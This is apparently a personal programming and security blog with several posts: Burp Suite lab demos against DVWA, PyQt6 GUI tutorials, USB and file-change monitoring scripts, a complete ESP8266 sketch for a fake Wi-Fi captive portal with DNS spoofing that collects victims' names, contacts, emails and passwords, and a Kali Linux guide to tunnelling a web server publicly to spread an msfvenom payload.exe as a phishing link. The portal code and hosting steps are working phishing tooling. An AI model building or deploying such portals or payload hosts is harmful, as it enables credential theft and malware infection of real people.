Python Bits and Pieces with Cyber Security

Wednesday, November 9, 2022

Server Side Request Forgery Demo with Burp Suite and DVWA

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location. Reference: here.

In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials. Or an attacker will be able to delete users, transfer money to his account in case of banking web applications, etc.

Today I will just show how to display the content of a text file located at the root of the web application, in this case, I used: "c: \wamp64\www\dvwa".

Here is how I performed the attack:

Opened BurpSuite, opened the preconfigured browser and the DVWA web application just like what I did in my previous post. I need to login to the DVWA this time, turn on the intercept in Burp Suite, then navigate to the Brute Force Page.
Burp Suite was able to intercept the web request and right clicked on the intercepted text and clicked the Send To Repeater from the context menu that appeared. You may be asking why navigate to the Burp Suite page, well I was looking for a particular pattern such as the one I hilighted. I need to change it to a command that will enable me to display the contents of the file.
At the Repeater page, I change the hilighted text as shown in the picture, and clicked the button Send and on the right side panel, the server response was displayed and I hilighted the contents of the text file.

And that concludes my demo for the SSRF.

A Simple Brute Force Attack using Burp Suite and DVWA as Target

I have just downloaded Burp Suite and have been playing with Damn Vulnerable Web Application (DVWA) for quite sometime now. As my first experiment, I tried to use Burp Suite's brute forcing features.

By the way, Burp Suite is a popular application testing software and DVWA is website which I installed on a WAMP Server designed to have several levels of security misconfigurations allowing Cyber Security Professionals to simulate several scenarios especially the Top 10 OWASP.

Here is how I performed the attack:

I opened Burp Suite, I just used the default settings and configuration, normally 2 popup screens will first appear asking if you have an existing project and custom configuration. From the main window, I clicked on the Proxy button and below it, I can see that Intercept is Off and there is also an Open Browser button. The current state is intercept is off meaning it will not intercept any traffic from the browser. The default browser of Burp Suite is already configured so all I have to do is open it.
After opening the browser, I open the WAMP Server. Once it is running, I browsed the DVWA website by using the url http:\\localhost/dvwa and the login screen opens promting me enter my username and password.
I turned on the intercept by pressing the Intercept Button, then entered my username and password(I purposely entered the wrong password). I got the following result in Burp Suite which means it was able to intercept the web request:
Looking at the bottom, it was able to capture the username and password I entered.
I right clicked the text that appeared and a chose the Send to Intruder from the context menu. The Intruder Button at the top beside the Proxy menu changes in color so I clicked it, and the following screen appeared:
I changed the attack type to Bomb Cluster, I clicked the Clear button at the right to remove all highlighted fields and I selected the username I then clicked the Add button above the clear button, I did the same to the password I entered. I pressed the Payload tab and the following screen appeared:
I left the combo boxes at the top as is and added "admin" payload options, this means that the payload set 1(combo box) has a value of "admin", I can enter several usernames in this list to simulate a password spray attack but since the post is about brute force, I only entered 1 username. Then I changed the payload set to 2 and added several passwords.
Finally I pressed the button Start Attack and the following screen appeared:
I clicked each row to check the response and I got the following result, all of the entries produced the same response except the last one:
So in conclusion, the password is "test" which is correct.

That wraps up my first experiment with Burp Suite.

Sunday, November 6, 2022

PyQt6 Progress Bar Enhancement

Today, I made an effort to enhance the PyQt6 Progress Bar I posted last March to include multithreading features. This is needed to maintain the responsiveness of any application. The old program which can still be accessed here, would normally freeze the whole window but with the multithreading feature, other areas of the window would be operation while looping in the progressbar is on going.

For detailed explanation of this topic, you may refer to this youtube video:

I also used this feature in the python serial I am creating with Pyqt6 user interface(I am currently enhancing the python program in this post.) . Multithreading in this particular application which involves serial communication requiring constant monitoring of the port for new data. Without multithreading, all areas of the application would freeze therefore making the gui impractical.

Here is the sample screenshot:

and here is the code:

import sys
import time
from PyQt6.QtWidgets import QLabel, QSlider, QApplication,  QWidget, QPushButton, QProgressBar, QMessageBox
from PyQt6.QtCore import Qt, QThread, pyqtSignal

TIME_LIMIT = 100

class Window(QWidget):

    def __init__(self):
        super(Window, self).__init__()

        self.initUI()

    def initUI(self):

        self.progress = QProgressBar(self)
        self.progress.setGeometry(25, 35, 305, 20)
        self.progress.setMaximum(100)
        self.progress.setStyleSheet("QProgressBar::chunk "
                          "{"
                          "background-color: red;text-align: center"
                          "}")
        self.progress.setAlignment(Qt.AlignmentFlag.AlignCenter)
        
        pb3 = QPushButton('Process', self)
        pb3.setGeometry(50, 100, 250, 30)
        pb3.setStyleSheet('QPushButton {background-color: #2F569B; color: #d4d4d4;}')
        pb3.clicked.connect(self.onClick_pb3)

        self.sld = QSlider(Qt.Orientation.Horizontal, self)
        self.sld.setFocusPolicy(Qt.FocusPolicy.NoFocus)
        self.sld.setGeometry(30, 175, 200, 30)
        self.sld.valueChanged[int].connect(self.changeValue)
        self.sld.setSingleStep(2)

        self.label = QLabel(self)       
        self.label.setGeometry(30, 150, 200, 30)
        self.label.setAlignment(Qt.AlignmentFlag.AlignCenter)

        self.setGeometry(25, 45, 350, 250)
        self.setWindowTitle('Post 5')
        self.show()
        
    def changeValue(self, value):

        self.label.setText(str(value))
 
    def onClick_pb3(self):
       self.worker = WorkerThread()
       self.worker.start()
       self.worker.finished.connect(self.evt_worker_finished)
       self.worker.update_progress.connect(self.evt_update_progress)
       #count = 0
       #while count < TIME_LIMIT:
       #     count += 1
       #     time.sleep(0.5)
       #     self.progress.setValue(count)
    def evt_worker_finished(self):
       QMessageBox.information(self, "Done!", "Worker thread complete")

    def evt_update_progress(self, val):
       self.progress.setValue(val)
       
class WorkerThread(QThread):
    
    update_progress = pyqtSignal(int)
    def run(self):
        count = 0
        while count < 100:
            #print(x)
            count += 1
            time.sleep(0.5)
            self.update_progress.emit(count)
def main():

    app = QApplication(sys.argv)
    ex = Window()
    sys.exit(app.exec())


if __name__ == '__main__':
    main()

Thursday, November 3, 2022

2 Python Programs that are useful in Cyber Security

Once a hacker gained entry to a network using a physical pc on company premises, one of the first things she would do is steal important documents and data then save it to a usb drive. I know that big corporations have rules to strictly not to insert a usb drive on any network connected pc on their premises but barely do not do anything to impose it, so employees and guests are still able to freely do it.

Today, I have created 2 python programs to at least detect a flash drive(or any removable drive) being plugged and unplugged and detect any changes in the file system(create, delete or modified).

These two programs are very basic, it can be enhanced further to include more sophisticated features.

Here are the codes:

1. File System Changes Detection program:

import time
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
  
  
class OnMyWatch:
    # Set the directory on watch
    watchDirectory = '.' 
    def __init__(self):
        self.observer = Observer()
  
    def run(self):
        event_handler = Handler()
        self.observer.schedule(event_handler, self.watchDirectory, recursive = True)
        self.observer.start()
        try:
            while True:
                time.sleep(5)
        except:
            self.observer.stop()
            print("Observer Stopped")
  
        self.observer.join()
   
  
class Handler(FileSystemEventHandler):
  
    @staticmethod
    def on_any_event(event):
        if event.is_directory:
            return None
  
        elif event.event_type == 'created':
            # Event is created, you can process it now
            print("Watchdog received created event - % s." % event.src_path)
        elif event.event_type == 'modified':
            # Event is modified, you can process it now
            print("Watchdog received modified event - % s." % event.src_path)
              
  
if __name__ == '__main__':
    watch = OnMyWatch()
    watch.run()

2. Detect Plugging/Unplugging of Removable Dirves:

 /pre>

import os
import sys

import time
from datetime import datetime
os.system("color")
while True:
    
    now = datetime.now()
    #print ("%s/%s/%s %s:%s:%s" % (now.month,now.day,now.year,now.hour,now.minute,now.second)) 
    #print("\r", end="", flush=True)
    Usb = os.popen("wmic logicaldisk where drivetype=2 get description ,deviceid ,volumename").read()
    print(Usb)
    
    if Usb.find("DeviceID") != -1:
        print("Usb is plugged")
        #input("")
        print("\r", end="", flush=True)

    else:
        print("Usb is not plugged")
        #input("")
        print("\r", end="", flush=True)
    time.sleep(1)

I combined the 2 programs:

import os
import sys
 
import time
from datetime import datetime
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
os.system("color")
class Handler(FileSystemEventHandler):
   
    @staticmethod
    def on_any_event(event):
        if event.is_directory:
            return None
  
        elif event.event_type == 'created':
            # Event is created, you can process it now
            print("Watchdog received created event - % s." % event.src_path)
            print("\r", end="", flush=True)
        elif event.event_type == 'modified':
            # Event is modified, you can process it now
            print("Watchdog received modified event - % s." % event.src_path)
            print("\r", end="", flush=True)
    exit
watchDirectory = '.'
observer = Observer()
event_handler = Handler()
observer.schedule(event_handler, watchDirectory, recursive = True)
observer.start()

while True:
    
    now = datetime.now()
    print ("%s/%s/%s %s:%s:%s" % (now.month,now.day,now.year,now.hour,now.minute,now.second)) 
    print("\r", end="", flush=True)
    Usb = os.popen("wmic logicaldisk where drivetype=2 get description ,deviceid ,volumename").read()
    print(Usb)
    if Usb.find("DeviceID") != -1:
        print("Usb is plugged")
        #input("")
        print("\r", end="", flush=True)

    else:
        print("Usb is not plugged")
        #input("")
        print("\r", end="", flush=True)
    time.sleep(1)

Tuesday, November 1, 2022

Create a Wifi Captive Portal using a NodeMCU

A captive portal is the website that pops up every time you connect to wifi(like in Starbucks or SM Free Wifi Service). In today's post, through my endless research, it came to me that it is possible to create a fake captive portal to collect confidential information for recons strategy(cyber security it is called phishing ) or on a brighter side it could be repurposed as a survey platform to collect opinions from people about certain topics with full disclosure of course.

This idea just pops into my head but I don't know where to start so I googled the keyword "captive portal nodemcu" and on top of the search result came this github page ESP8266 Captive Portal. It seems that I just got a free lunch from this guy, so I downloaded it immediately and it worked. But I made a few changes to it. The following are the changes I made:

Rename the title and added some fields
I used a tiny lcd screen to capture the latest victim
I created a python program to capture the latest input of the victim via serial communication and with this, the data can be stored to a csv file for further analysis or can be stored to a database.

Sadly I could not take a picture of my setup because I have no decent camera, so if you guys have a kind soul and would want to donate a smartphone, it would be so nice and greatly appreciated. I am just kidding.

To setup the interface between with nodemcu, I used wiring in Figure 1 and download the TFT_Esp library. Sometimes this library requires the Adafruit GFX library so I also downloaded it as well.

The original code used the builtin led of nodemcu to flash to indicate that a new victim took the bait, but for some reason the lcd turns off while led is flashing so I removed it and replaced it by drawing a green circle at bottom of the lcd and blinks each time a new victim took the bait.

Here is the sample screenshot of the captive portal:

I made all fields required and change the input style of the email field from text to email so that at least it will check for valid email format.

All other features remains the same as the original like the web page to display all captured records and the webpage that appears after pressing the "sign In" button.

The code snippets is very simple so I did wrote further explanations how each blocks functions.

Here is the modified arduino code:

// ESP8266 WiFi Captive Portal
// By 125K (github.com/125K)

// Includes
#include <ESP8266WiFi.h>
#include <DNSServer.h> 
#include <ESP8266WebServer.h>
#include <Adafruit_GFX.h>    // LCD graphical driver
#include <TFT_eSPI.h> // Graphics and font library for ST7735 driver chip
#include <SPI.h>
#define FS_NO_GLOBALS
#include <FS.h>
// User configuration
#define SSID_NAME "Unli Internet"
#define SUBTITLE "Free unlimited internet service."
#define TITLE "Register and Sign in:"
#define BODY "Register to create an account to get free unlimited internet."
#define POST_TITLE "Creating your account and verifying..."
#define POST_BODY "Your account is being validated. Please, wait up to 5 minutes for device connection.</br>Thank you."
#define PASS_TITLE "Credentials"
#define CLEAR_TITLE "Cleared"
#define TFT_BLACK       0x0000      /*   0,   0,   0 */
#define TFT_NAVY        0x000F      /*   0,   0, 128 */
#define TFT_DARKGREEN   0x03E0      /*   0, 128,   0 */
#define TFT_DARKCYAN    0x03EF      /*   0, 128, 128 */
#define TFT_MAROON      0x7800      /* 128,   0,   0 */
#define TFT_PURPLE      0x780F      /* 128,   0, 128 */
#define TFT_OLIVE       0x7BE0      /* 128, 128,   0 */
#define TFT_LIGHTGREY   0xC618      /* 192, 192, 192 */
#define TFT_DARKGREY    0x7BEF      /* 128, 128, 128 */
#define TFT_BLUE        0x001F      /*   0,   0, 255 */
#define TFT_GREEN       0x07E0      /*   0, 255,   0 */
#define TFT_CYAN        0x07FF      /*   0, 255, 255 */
#define TFT_RED         0xF800      /* 255,   0,   0 */
#define TFT_MAGENTA     0xF81F      /* 255,   0, 255 */
#define TFT_YELLOW      0xFFE0      /* 255, 255,   0 */
#define TFT_WHITE       0xFFFF      /* 255, 255, 255 */
#define TFT_ORANGE      0xFDA0      /* 255, 180,   0 */
#define TFT_GREENYELLOW 0xB7E0      /* 180, 255,   0 */
#define TFT_PINK        0xFC9F

TFT_eSPI tft = TFT_eSPI();  // Invoke library, pins defined in User_Setup.h

#define ST7735_DRIVER
#define ST7735_REDTAB
#define TFT_WIDTH  128
#define TFT_HEIGHT 160


// Init System Settings

const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
const byte TICK_TIMER = 1000;
IPAddress APIP(151, 0, 1, 1); // Gateway
  String fullname="";
  String address="";
  String occupation="";
  String mobile="";
  String email="";
  String password="";
String Credentials="";
unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0;
DNSServer dnsServer; ESP8266WebServer webServer(80);

String input(String argName) {
  String a=webServer.arg(argName);
  a.replace("<","&lt;");a.replace(">","&gt;");
  a.substring(0,200); return a; }

String footer() { return 
  "</div><div class=q><center><a>&#169; All rights reserved.</a></center></div>";
}

String header(String t) {
  String a = String(SSID_NAME);
  String CSS = "article { background: #f2f2f2; padding: 1.3em; }" 
    "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 14px; line-height: 20px; margin: 0; padding: 0; }"
    "div { padding: 0.5em; }"
    "h3 { margin: 0.5em 0 0 0; padding: 0.5em; }"
    "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }"
    "label { color: #333; display: block; font-style: italic; font-weight: bold; }"
    "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
    "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
    "textarea { width: 100%; }";
  String h = "<!DOCTYPE html><html>"
    "<head><title>"+a+" :: "+t+"</title>"
    "<meta name=viewport content=\"width=device-width,initial-scale=1\">"
    "<style>"+CSS+"</style></head>"
    "<body><nav><b>"+a+"</b> "+SUBTITLE+"</nav><div><h3>"+t+"</h3></div><div>";
  return h; }

String creds() {
  return header(PASS_TITLE) + "<ol>" + Credentials + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();
}

String index() {
  return header(TITLE) + "<div>" + BODY +  "</ol></div><div><form action=/post method=post>" +
    "<b>Full Name:</b> <center><input type=text required name=fullname></input></center>" +
    "<b>Address:</b> <center><input type=text required name=address></input></center>" +
    "<b>Mobile Number:</b> <center><input type=text required name=mobile></input></center>" +
    "<b>Occupation:</b> <center><input type=text required name=occupation></input></center>" +
    "<b>Email:</b> <center><input type=email autocomplete=email required name=email></input></center>" +
    "<b>Password:</b> <center><input type=password required name=password></input><input type=submit value=\"Sign in\"></form></center>" + footer();
}

String posted() {
   fullname=input("fullname");
   address=input("address");
   occupation=input("occupation");
   mobile=input("mobile");
   email=input("email");
   password=input("password");
  Credentials="<li>Name: <b>" + fullname + "</b></br>Address: <b>" + address + "</b></br>Occupation: <b>" + occupation + "</b></br>Mobile No: <b>" + mobile + "</b></br>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + Credentials;
  return header(POST_TITLE) + POST_BODY + footer();
}

String clear() {
  String fullname="<p></p>";
  String address="<p></p>";
  String occupation="<p></p>";
  String mobile="<p></p>";
  String email="<p></p>";
  String password="<p></p>";
  Credentials="<p></p>";
  return header(CLEAR_TITLE) + "<div><p>The credentials list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();
}

void BLINK() { // The internal LED will blink 5 times when a password is received.
  if(email!=""){
  int count = 0;
  //Serial.println(F("Somebody registered"));
  //Serial.println(Credentials);

  while(count < 5){
//    digitalWrite(BUILTIN_LED, LOW);
    //tft.drawCircle(115, 145, 10,TFT_WHITE);
    tft.fillCircle(113, 145, 9, TFT_RED);
    delay(400);
//    digitalWrite(BUILTIN_LED, HIGH);
   tft.fillCircle(113, 145, 9, TFT_DARKGREEN);
    delay(400);
    
    count = count + 1;
  }
  SCR_HEADER();
  tft.setCursor(9,32);  
  tft.println(fullname);
  Serial.println(fullname);
  tft.setCursor(9,46);
  tft.println(address);
  Serial.println(address);
  tft.setCursor(9,60);
  tft.println(mobile);
  Serial.println(mobile);
  tft.setCursor(9,74);
  tft.println(occupation);
  Serial.println(occupation);
  tft.setCursor(9,88);
  tft.println(email);
  Serial.println(email);
  tft.setCursor(9,102);
  tft.println(password);
  Serial.println(password);
}}

void SCR_HEADER() {
  tft.fillScreen(TFT_LIGHTGREY);
  tft.drawRoundRect(2, 2, 125, 26, 5, TFT_RED);
  tft.fillRoundRect(4, 4, 121, 22, 4, TFT_BLUE);
  tft.setTextColor(TFT_WHITE);
  tft.setTextSize(1);
  tft.setCursor(9,11);
  tft.drawString(PASS_TITLE, 9, 7, 2);  
  tft.drawCircle(113, 145, 10,TFT_WHITE);
  tft.fillCircle(113, 145, 9, TFT_DARKGREEN);
}



void setup() {
  bootTime = lastActivity = millis();
  WiFi.mode(WIFI_AP);
  WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
  WiFi.softAP(SSID_NAME);
  dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP)
  webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); });
  webServer.on("/creds",[]() { webServer.send(HTTP_CODE, "text/html", creds()); });
  webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); });
  webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); });
  webServer.begin();
  pinMode(BUILTIN_LED, OUTPUT);
  digitalWrite(BUILTIN_LED, HIGH);
  Serial.begin(9600);
   tft.init();
  tft.setRotation(0);  // portrait
  tft.fillScreen(TFT_LIGHTGREY);
  SCR_HEADER();
 
}


void loop() { 
  if ((millis()-lastTick)>TICK_TIMER) {lastTick=millis();} 
dnsServer.processNextRequest(); webServer.handleClient(); }

Here is the Python code:

import serial
ser = serial.Serial('com4', baudrate=9600, timeout=1)
ser.open
while 1:
    arduinodata = ser.readline().decode('ascii')
    if arduinodata != '':
       print(arduinodata)

Friday, October 21, 2022

Turn a Kali Linux into a Webhost and Launch your Phishing Attack

This is for penetration testing only, actual hackers would try other methods like hacking other websites as jumping points or use an actual web hosting site in order to avoid being tracked by the Blue Team.

I used Kali Linux on Virtual machine. This is how I did it:

1. Create 2 command line terminals A and B

2. On terminal A, I entered the following command:

sudo su
ssh - keygen(it asks if you want to generate a key, but in my case I just pressed enter)
ssh -R 80:localhost:80 localhost.run

The third command generated the url of the website, in my case the URL was something like this:

https://17a6e0583ae7b5.lhr.life/

On terminal 2, I entered service apache2 start and it asks for my login password and after that, the url is now active and can be accessed anywhere in the world. Initially the index page will be something like this:

To replace this index file with your index file, just move it to the following directory:

/var/www/html

And that's it, you can move your msfvenom payload on this directory so you can spread the phishing link. For example, the payload is payload.exe, your phishing link would be:

https://17a6e0583ae7b5.lhr.life/payload.exe

Disclaimer: This article/blog post is just for educational purposes only.

Wednesday, October 12, 2022

Date Edit Box with calendar Dropdown in PyQt6

This demo program shows how to create a date edit input box with a calendar dropdown and place at certain location in the window.

The output:

The code:

import sys
import os
from PyQt6.QtWidgets import QApplication,  QWidget, QDateEdit, QLabel
from PyQt6.QtCore import  QDate
from PyQt6 import QtCore, QtGui

class Window(QWidget):

    def __init__(self):
        super(Window, self).__init__()                 
        self.initUI()

    def initUI(self):
        self.date_edit = QDateEdit(self, date=QDate.currentDate(), calendarPopup=True)
        self.date_edit.setGeometry(25, 25, 150, 40)
        self.date_edit.dateChanged.connect(self.update)
        self.result_label = QLabel('', self)
        self.result_label.setGeometry(250, 25, 150, 40)
        self.setGeometry(25, 45, 350, 150)
        self.setWindowTitle('Qdateedit Tutorial')
        self.show()
    def update(self):
        value = self.date_edit.date()
        
        self.result_label.setText(str(value.toPyDate()))    
def main():

    app = QApplication(sys.argv)
    ex = Window()
    sys.exit(app.exec())


if __name__ == '__main__':
    main()